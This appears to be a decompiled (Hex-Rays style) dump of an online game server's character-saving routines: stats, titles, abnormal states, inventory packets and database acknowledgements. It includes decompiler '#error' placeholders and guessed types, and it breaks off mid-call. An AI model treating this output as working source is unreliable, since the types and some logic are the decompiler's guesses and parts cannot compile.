ShineObjectClass::ShinePlayer::so_SaveCharTitle(void *this, int buf, int i) { void *v3; // esi@1 int v4; // ebp@1 int v5; // eax@1 int v6; // ecx@4 int v7; // esi@5 int v8; // edi@5 char v9; // cl@6 int v10; // esi@9 int v12; // [sp+0h] [bp-14h]@4 int bufa; // [sp+18h] [bp+4h]@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveCharTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveCharTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1036))(v3); v5 = buf; *(_BYTE *)buf = 1; *(_BYTE *)(buf + 1) = *(_BYTE *)(v4 + 560); *(_WORD *)(buf + 3) = *(_WORD *)(v4 + 562); if ( *(_BYTE *)(v4 + 560) == 10 ) *(_BYTE *)(buf + 2) = 0; else *(_BYTE *)(buf + 2) = *(_BYTE *)(v4 + 561); memcpy((void *)(buf + 5), (const void *)(v4 + 576), 0x1E8u); *(_WORD *)(buf + 493) = *(_WORD *)(v4 + 68); v6 = *(_DWORD *)(v4 + 68); v12 = *(_DWORD *)(v4 + 68); bufa = 0; if ( v6 > 0 ) { v7 = v5 + 496; v8 = v4 + 73; do { v9 = *(_BYTE *)v7; *(_BYTE *)(v7 - 1) = *(_BYTE *)(v8 - 1); *(_BYTE *)v7 ^= (*(_BYTE *)v8 ^ v9) & 0x3F; *(_BYTE *)v7 = ((unsigned __int8)CCharacterTitle::GetTitleStatus( (CCharacterTitle *)v4, *(_BYTE *)(v7 - 1), *(_BYTE *)v7 & 0x3F) << 6) | *(_BYTE *)v7 & 0x3F; if ( (unsigned int)(424 - v4 + v8) > 0x1F40 ) break; v8 += 2; v7 += 2; ++bufa; } while ( bufa < *(_DWORD *)(v4 + 68) ); v6 = v12; } v10 = 2 * v6 + 495; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveCharTitle"); return v10; } //----- (0043B580) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_ply_SavePKCount(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SavePKCount"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SavePKCount"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)buf = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(buf + 4) = *(_DWORD *)((char *)v2 + 32107); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SavePKCount"); return 8; } //----- (0043B630) -------------------------------------------------------- #error "43B630: undefined or illegal type '#325' (funcsize=307)" //----- (0043BA40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveChestInfo(void *this, int buf) { void *v2; // ebp@1 signed int v3; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveChestInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveChestInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; *(_WORD *)(buf + 6) = 0; if ( *(_DWORD *)((char *)v2 + 89154) ) { do { if ( (unsigned __int8)(1 << v3 % 8) & *(_BYTE *)(v3 / 8 + *(_DWORD *)((char *)v2 + 89150)) ) { *(_WORD *)(buf + 2 * (*(_WORD *)(buf + 6))++ + 8) = v3; if ( 2 * (unsigned int)*(_WORD *)(buf + 6) + 10 > 0x1F40 ) break; } ++v3; } while ( (unsigned int)v3 < *(_DWORD *)((char *)v2 + 89154) ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveChestInfo"); return 0; } //----- (0043BB30) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveLevel(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveLevel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveLevel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)buf = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_BYTE *)(buf + 4) = *((_BYTE *)v2 + 32042); *(_DWORD *)(buf + 5) = *(_DWORD *)((char *)v2 + 32043); *(_DWORD *)(buf + 9) = *(_DWORD *)((char *)v2 + 32047); *(_DWORD *)(buf + 13) = *(_DWORD *)((char *)v2 + 32067); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveLevel"); return 17; } //----- (0043BC00) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveStat(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)buf = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(buf + 4) = *(_WORD *)((char *)v2 + 32051); *(_DWORD *)(buf + 8) = *(_WORD *)((char *)v2 + 32053); *(_DWORD *)(buf + 12) = *(_WORD *)((char *)v2 + 32055); *(_DWORD *)(buf + 16) = *(_WORD *)((char *)v2 + 32057); *(_DWORD *)(buf + 20) = *(_DWORD *)((char *)v2 + 32059); *(_DWORD *)(buf + 24) = *(_DWORD *)((char *)v2 + 32063); v2 = (char *)v2 + 32100; *(_DWORD *)(buf + 28) = *(_DWORD *)v2; *(_WORD *)(buf + 32) = *((_WORD *)v2 + 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveStat"); return 34; } //----- (0043BD00) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveGameData(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveGameData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveGameData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (char *)v2 + 32136; *(_WORD *)buf = *(_WORD *)v2; *(_BYTE *)(buf + 2) = *((_BYTE *)v2 + 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveGameData"); return 3; } //----- (0043BD70) -------------------------------------------------------- char __thiscall AbnormalStateSaver::lid_Call(AbnormalStateSaver *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle) { AbnormalStateSaver *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 int v7; // eax@9 int v8; // eax@18 const char *v9; // [sp-14h] [bp-24h]@5 int v10; // [sp-10h] [bp-20h]@5 FunctionEntarance _; // [sp+0h] [bp-10h]@1 int v12; // [sp+Ch] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "AbnormalStateSaver::lid_Call"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AbnormalStateSaver::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateSaver::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = ele->aeo_Index; v12 = 0; if ( v4 < 412 ) { v5 = dword_615280[v4]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v4); v5 = 0; } if ( !v5 ) { v10 = handle; v9 = "AbnormalStateSaver::lid_Call : Null Abstate"; LABEL_6: AssertClass::ac_AssertFail(&shineassert, v9, v10); LABEL_7: --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AbnormalStateSaver::lid_Call"); return 1; } v7 = *(_DWORD *)v5; if ( !v7 || !*(_BYTE *)(v7 + 252) ) goto LABEL_7; if ( *(_WORD *)v7 == -1 ) { v10 = handle; v9 = "AbnormalStateSaver::lid_Call : Invalid ABState"; goto LABEL_6; } *(unsigned __int16 *)((char *)&v3->ass_buffer[1].handle.bufferlocation + 31 * v3->ass_buffer->abstatenum) = *(_WORD *)v7; *((_BYTE *)&v3->ass_buffer[1].handle.chrregnum + 31 * v3->ass_buffer->abstatenum) = ele->aeo_Strength; *(_WORD *)((char *)&v3->ass_buffer[2].handle.chrregnum + 31 * v3->ass_buffer->abstatenum + 1) = ele->aeo_RestCount; *(_WORD *)((char *)&v3->ass_buffer[2].handle.chrregnum + 31 * v3->ass_buffer->abstatenum + 3) = 0; *(unsigned int *)((char *)&v3->ass_buffer[1].handle.chrregnum + 31 * v3->ass_buffer->abstatenum + 1) = 1000 * (clockwatch.cw_CurrTick - ele->aeo_Tick.start) / 0xA; if ( AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(ele) ) *(_DWORD *)((char *)&v3->ass_buffer[1].abstatenum + 31 * v3->ass_buffer->abstatenum + 1) = AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(ele); else *(_DWORD *)((char *)&v3->ass_buffer[1].abstatenum + 31 * v3->ass_buffer->abstatenum + 1) = 0; SetItemData::SetItemAbstateEffect::siae_FillSetItemEffect( &ele->aeo_SetItemEffect, (ABSTATEREADBLOCK *)&v3->ass_buffer[1] + v3->ass_buffer->abstatenum); if ( v3->ass_CharID ) NameString::operator__(&namestring, v3->ass_CharID); ++v3->ass_buffer->abstatenum; v8 = 31 * v3->ass_buffer->abstatenum + 39; v12 = -1; if ( (unsigned int)v8 <= 0x1F40 ) { FunctionEntarance::_FunctionEntarance(&_); return 1; } FunctionEntarance::_FunctionEntarance(&_); return 0; } //----- (0043BF90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveAbstate(void *this, int buffer, Name4 *charid) { void *v3; // edi@1 unsigned __int16 v4; // si@1 int v5; // esi@2 AbnormalStateSaver ass; // [sp+4h] [bp-18h]@1 int v8; // [sp+18h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ass.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&AbnormalStateSaver::_vftable_; ass.ass_buffer = (PROTO_NC_CHARSAVE_ABSTATE_REQ *)buffer; *(_WORD *)(buffer + 6) = 0; v8 = 0; ass.ass_CharID = charid; LOBYTE(v8) = 1; List::l_4AllInList((List *)((char *)v3 + 3684), (ListIteratorDefault *)&ass); v4 = *(_WORD *)(buffer + 6); if ( v4 ) v5 = 31 * v4 + 8; else v5 = 0; --funcallanalizer.fca_stackpoint; ass.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveAbstate"); return v5; } // 5AC8C4: using guessed type int (__stdcall *AbnormalStateSaver___vftable_)(int ele, __int16 handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0043C080) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveItem(void *this, int buf) { void *v2; // esi@1 int v3; // eax@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_BYTE *)buf = 0; v3 = CharacterInventory::ci_FillBufferTotal( (CharacterInventory *)((char *)v2 + 32168), (char *)buf, (PROTO_ITEMPACKET_TOTAL *)(buf + 1)); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem"); return v4; } //----- (0043C130) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_ALL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ALL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_ALL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successall"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successall"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successall"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ALL_ACK"); } //----- (0043C200) -------------------------------------------------------- void __thiscall GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successquest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successquest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successquest"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK"); } //----- (0043C2D0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successabstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successabstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successabstate"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK"); } //----- (0043C3A0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_SKILL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_SKILL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_SKILL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successskill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successskill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successskill"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_SKILL_ACK"); } //----- (0043C470) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successskill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successskill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successskill"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK"); } //----- (0043C540) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK"); } //----- (0043C590) -------------------------------------------------------- int __thiscall ItemSmallBag::isb_FullBufferItem2Server(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int bufsize) { PROTO_ITEMPACKET_TOTAL *v6; // esi@1 ItemSmallBag *v7; // ebp@1 int v8; // edi@1 ItemInform_ActionItem *v9; // eax@2 ItemInform_ActionItem *v10; // ebx@2 char v11; // al@8 int result; // eax@10 int skipednumber; // [sp+Ch] [bp-84h]@1 int slot; // [sp+10h] [bp-80h]@1 ItemAttributeClass *iac; // [sp+14h] [bp-7Ch]@4 unsigned __int16 itemid; // [sp+18h] [bp-78h]@3 ItemTotalInformation iti; // [sp+1Ch] [bp-74h]@8 v6 = itmarr; v7 = this; *itemcounter = 0; v8 = 0; skipednumber = 0; slot = 0; if ( ((int (*)(void))this->vfptr->isb_BagSizeOutput)() <= 0 ) { result = 0; } else { do { v9 = (ItemInform_ActionItem *)v7->vfptr->isb_GetInventoryCell(v7, slot); v10 = v9; if ( v9 ) { itemid = ItemInventoryCell::iic_ItemIdent(v9); if ( itemid != -1 ) { iac = (ItemAttributeClass *)&itmattcontainer; if ( *(_DWORD *)&v10[1].iiai_RegistNumber.binary.gap0[2] ) iac = *(ItemAttributeClass **)&v10[1].iiai_RegistNumber.binary.gap0[2]; if ( skipednumber >= *from ) { skipednumber = v7->vfptr->isb_BagSizeOutput(v7); ItemInform_ActionItem::sii_Export(v10, &iti); v6->location.Inven = ((_WORD)box << 10) ^ slot & 0x3FF; v11 = (char)&ItemTotalInformation::iti_fill2buffer_whole( &iti, iac, itemid, v6->info.iti_registnum.binary.gap0)[2 - ((_BYTE)v6 + 3)]; v6->datasize = v11; v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + (unsigned __int8)v11 + 1); ++*itemcounter; v8 = (char *)v6 - (char *)itmarr; ++*from; if ( (signed int)((char *)v6 - (char *)itmarr) >= bufsize ) break; } else { ++skipednumber; } } } ++slot; } while ( slot < v7->vfptr->isb_BagSizeOutput(v7) ); result = v8; } return result; } //----- (0043C700) -------------------------------------------------------- int __thiscall ItemSmallBag::isb_ItemCount_Output(ItemSmallBag *this) { ItemSmallBag *v1; // esi@1 int v2; // ebx@1 int v3; // edi@1 ItemInform_ActionItem *v4; // eax@2 v1 = this; v2 = 0; v3 = 0; if ( ((int (*)(void))this->vfptr->isb_BagSizeOutput)() > 0 ) { do { v4 = (ItemInform_ActionItem *)v1->vfptr->isb_GetInventoryCell(v1, v3); if ( v4 && ItemInventoryCell::iic_ItemIdent(v4) != -1 ) ++v2; ++v3; } while ( v3 < v1->vfptr->isb_BagSizeOutput(v1) ); } return v2; } //----- (0043C740) -------------------------------------------------------- void __thiscall WholeSaver::_WholeSaver(WholeSaver *this) { *(unsigned int *)((char *)&this->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153555112)) = (unsigned int)&EventReserveBase::_vftable_; _eh_vector_destructor_iterator_( this->ws_savestore, 0x13520u, 2048, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); } // 5AC394: using guessed type int (*EventReserveBase___vftable_)(); //----- (0043C770) -------------------------------------------------------- #error "43C770: undefined or illegal type '#325' (funcsize=400)" //----- (0043CCF0) -------------------------------------------------------- void __thiscall EventSaveCheck::EventSaveCheck(EventSaveCheck *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventSaveCheck::_vftable_; *(_QWORD *)&this->esc_savebuffer.location.map.n3_name[4] = 0i64; *(_DWORD *)&this->esc_savebuffer.location.map.n3_name[0] = 0; *(_QWORD *)&this->esc_savebuffer.location.map_kq.n3_name[4] = 0i64; *(_DWORD *)&this->esc_savebuffer.location.map_kq.n3_name[0] = 0; this->esc_abstate.pnt = (PROTO_NC_CHARSAVE_ABSTATE_REQ *)&this->esc_abstate; *(_DWORD *)&this->gapf2b8[16996] = (char *)this + 31124; } // 5ACB40: using guessed type int (*EventSaveCheck___vftable_)(); //----- (0043CD30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SaveItem_Part(void *this, int nc, int buf, int count) { void *v4; // ebx@1 int v5; // esi@1 int v6; // edi@1 int v7; // eax@2 int v8; // ebp@5 ZoneBaseSession *v9; // eax@7 int v10; // eax@10 int v11; // ebp@13 DebugLogging *v12; // eax@15 ZoneBaseSession *v13; // eax@16 int v14; // ecx@17 int v15; // eax@19 int v16; // ebp@22 ZoneBaseSession *v17; // eax@25 ItemSmallBag *v18; // ebx@27 int v19; // eax@28 int v20; // ebp@31 DebugLogging *v21; // eax@34 ZoneBaseSession *v23; // eax@35 DebugLogging *v24; // eax@38 char *v25; // [sp-18h] [bp-30h]@24 DebugLineFeed *v26; // [sp-14h] [bp-2Ch]@24 int from; // [sp+0h] [bp-18h]@1 void *v28; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v30; // [sp+14h] [bp-4h]@1 int bufa; // [sp+20h] [bp+8h]@1 int bufb; // [sp+20h] [bp+8h]@9 int bufc; // [sp+20h] [bp+8h]@18 int bufd; // [sp+20h] [bp+8h]@27 v4 = this; v28 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_SaveItem_Part"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveItem_Part"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = buf; v30 = 0; *(_BYTE *)(buf + 3) = 5; *(_BYTE *)(buf + 2) = 0; from = 0; bufa = ItemBag::ib_ItemCount_Output((ItemBag *)v4 + 8884); v6 = v5 + 4; do { *(_BYTE *)v6 = 0; v7 = CharacterInventory::ci_FillBufferInventoryTotal( (CharacterInventory *)((char *)v4 + 32168), (char *)(v5 + 4), (PROTO_ITEMPACKET_TOTAL *)(v5 + 5), 9, &from, 8000); if ( v7 < 0 ) { v12 = DebugLogging::operator<<( &MoreDisconnectLog, "ShineObjectClass::ShinePlayer::so_SaveItem_Part : Char Inven Fail. will be disconnect."); DebugLogging::operator<<(v12, &deb_LF); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1464))(v4, 1676, 0, 0); goto LABEL_39; } if ( from >= bufa ) *(_BYTE *)(v5 + 2) |= 0x80u; v8 = v7 + 7; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v7 + 7) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v8); } *(_BYTE *)(v5 + 2) ^= (*(_BYTE *)(v5 + 2) ^ (*(_BYTE *)(v5 + 2) + 1)) & 0x7F; } while ( from < bufa ); *(_BYTE *)(v5 + 3) = 8; *(_BYTE *)(v5 + 2) = 0; from = 0; bufb = ItemBag::ib_ItemCount_Output((ItemBag *)v4 + 8042); do { *(_BYTE *)v6 = 0; v10 = CharacterInventory::ci_FillBufferInventoryTotal( (CharacterInventory *)((char *)v4 + 32168), (char *)(v5 + 4), (PROTO_ITEMPACKET_TOTAL *)(v5 + 5), 8, &from, 8000); if ( v10 < 0 ) { v26 = &deb_LF; v25 = "ShineObjectClass::ShinePlayer::so_SaveItem_Part : Equip Inven Fail. will be disconnect."; LABEL_34: v21 = DebugLogging::operator<<(&MoreDisconnectLog, v25); DebugLogging::operator<<(v21, v26); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1464))(v4, 1676, 0, 0); --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); return 0; } if ( from >= bufb ) *(_BYTE *)(v5 + 2) |= 0x80u; v11 = v10 + 7; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10 + 7) ) { v13 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v13); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v11); } v14 = from; *(_BYTE *)(v5 + 2) ^= (*(_BYTE *)(v5 + 2) ^ (*(_BYTE *)(v5 + 2) + 1)) & 0x7F; } while ( v14 < bufb ); *(_BYTE *)(v5 + 3) = 18; *(_BYTE *)(v5 + 2) = 0; from = 0; bufc = ItemBag::ib_ItemCount_Output((ItemBag *)v4 + 13207); do { *(_BYTE *)v6 = 0; v15 = CharacterInventory::ci_FillBufferInventoryTotal( (CharacterInventory *)((char *)v4 + 32168), (char *)(v5 + 4), (PROTO_ITEMPACKET_TOTAL *)(v5 + 5), 12, &from, 8000); if ( v15 < 0 ) { v26 = &deb_LF; v25 = "ShineObjectClass::ShinePlayer::so_SaveItem_Part : MiniHouse Skin Inven Fail. will be disconnect."; goto LABEL_34; } if ( from >= bufc ) *(_BYTE *)(v5 + 2) |= 0x80u; v16 = v15 + 7; *(_BYTE *)(v5 + 2) ^= (*(_BYTE *)(v5 + 2) ^ (*(_BYTE *)(v5 + 2) + 1)) & 0x7F; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v15 + 7) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v16); } } while ( from < bufc ); v18 = (ItemSmallBag *)((char *)v4 + 56892); *(_BYTE *)(v5 + 3) = 34; *(_BYTE *)(v5 + 2) = 0; from = 0; bufd = ItemSmallBag::isb_ItemCount_Output(v18); while ( 1 ) { *(_BYTE *)v6 = 0; v19 = ItemSmallBag::isb_FullBufferItem2Server( v18, (char *)(v5 + 4), (PROTO_ITEMPACKET_TOTAL 